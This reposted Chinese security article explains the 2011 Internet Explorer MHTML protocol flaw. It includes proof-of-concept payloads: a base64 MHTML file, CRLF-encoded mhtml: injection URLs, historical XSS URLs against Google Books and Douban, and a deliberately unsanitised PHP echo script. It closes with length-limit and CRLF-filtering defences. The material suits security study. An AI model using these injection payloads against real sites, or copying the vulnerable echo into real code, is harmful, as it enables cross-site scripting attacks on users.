MHTML协议的安全

admin 2021年3月27日02:18:00评论72 views字数 2757阅读9分11秒阅读模式

2011年初,微软爆出了一个0day漏洞,该漏洞存在于MHTML中,影响所有Windows平台,包括Windows XP、Vista、Windows 7和所有版本的Windows Server。问题是由于MHTML协议处理器解释MIME格式请求文档中内容块的方式造成的,远程攻击者可利用此漏洞将任意脚本代码注入到用户的浏览器中,以此获取敏感信息和执行任意代码。

网友暗夜潜风已经详细描述了该漏洞的各种利用方法,大家可以参考著名安全组织幻影的第五期《Ph4nt0m Webzine》电子杂志,文章名为《IE下MHTML协议带来的跨域危害》。

首先,我们来看看什么是MHTML。

MHTML是MIME HTML (Multipurpose Internet Mail Extension HTML)的缩写,是由RFC 2557定义的把一个多媒体页面的所有内容都保存到同一个文档的解决方案。这个方案是由微软提出的并从IE 5.0开始实施,默认安装的Window系统都带有MHTML协议处理程序(MHTML Protocol Handler)。

在IE浏览器中,当嵌入资源的URL的协议为MHTML 时,IE将调用MHTML协议处理程序把该资源当作MHTML格式文件进行解析处理。

MHTML的协议访问格式为:
mhtml: [Mhtml_File_Url]![Original_Resource_Url]
Original_Resource_Url从消息体的Content-Location处获得,如果Original_Resource_Url不能从Mhtml_File_Url中获取,IE就会尝试下载Original_Resource_Url并返回下载内容。

网友暗夜潜风的文章着重针对IE MHTML协议的跨域漏洞进行测试和描述,很少提到我们更关注的XSS,下面简单举例说明。

新建一个HTML文件,如demo.html,输入以下代码:
Content-Type: multipart/related; boundary="_boundary_by_mere"

--_boundary_by_mere
Content-Location:demo
Content-Transfer-Encoding:base64

PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=
--_boundary_by_mere--


直接用IE访问http://127.0.0.1/demo.html,返回的效果如图所示。

MHTML协议的安全

访问MHTML格式文件

为了让IE调用MHTML Protocol Handler将该资源当作MHTML格式文件解析处理,需要把URL修改为 MHTML协议:在http前面加上“mhtml:”字样,后面加上“!demo”字样,即:
mhtml:http://127.0.0.1/demo.html!demo


然后,使用IE浏览器访问该链接。此时页面弹出一个XSS对话框,如图7-17所示,由此证明利用MHTML协议可以执行跨站脚本。

MHTML协议的安全

利用MHTML协议进行XSS

在上述示例中,MHTML协议处理程序会根据demo.html中的Content-Location值(demo)找到对应的数据块,再根据Content-Transfer-Encoding值对以下数据解码:
PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD4=

解码后的内容为:
<script>alert("XSS")</script>


最后用IE直接解析并执行脚本。



此外,我们还可以结合上一节介绍过的CRLF(回车换行)来实现XSS。先编写一段PHP脚本:
<?php
echo $_GET[k];
?>

该脚本用于在页面输出由URL传递过来的k的参数值,然后构造一个特殊的URL,通过MHTML协议注入脚本代码,如下所示:
mhtml:http://127.0.0.1/test.php?k=ax%250AContent-Type%253Amultipart%252frelated%253Bboundary%253Dx--x%250AContent-Location%253AXSS%250AContent-Transfer-Encoding%253Abase64%250d%250a%250d%250aPHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4%252b%253D--!XSS


接着,使用IE访问该链接,成功触发了XSS。

这里需要注意的是,Windows XP系统下MHTML协议中的百分号需要两次encode才生效,也就是%要转为%25,这样URL传递参数后的%才会被识别。在Windows 7下没有这个问题。


微软的MHTML漏洞导致众多网站出现了安全问题,比如Google BOOK搜索处的XSS通过MHTML协议注入脚本代码并运行,在乌云(http://www.wooyun.org/)上也有公布,相关利用代码如下:

mhtml:http://www.google.com/books?q=x%250AContent-Type%253Amultipart%252frelated%253Bboundary%253Dx--x%250AContent-Location%253Aajax%250AContent-Transfer-Encoding%253Abase64%250d%250a%250d%250aPHNjcmlwdD5hbGVydCgib2siKTs8L3NjcmlwdD4%253D--x%250A!ajax


Google BOOK的XSS

豆瓣网当时也出现MHTML协议代码注射问题,XSS Expliot如下:
mhtml:http://www.douban.com/search?search_text=ax%250AContent-Type%253Amultipart%252frelated%253Bboundary%253Dx--x%250AContent-Location%253A80sec%250AContent-Transfer-Encoding%253Abase64%250d%250a%250d%250aPHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4%252b%253D--!80sec


防御基于MHTML协议的XSS的方法很简单,只要对可能回显的参数进行限制或者字符过滤即可。

① 参数长度限制。

因为MHTML有固定的格式,只有长度满足,才能构造这样的条件。

② 字符过滤。


过滤字符串中的%0d%0a,即回车换行字符,使之无法满足MTHML协议的格式要求。


本文始发于微信公众号(LemonSec):MHTML协议的安全

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月27日02:18:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MHTML协议的安全https://cn-sec.com/archives/301565.html

发表评论

匿名网友 填写信息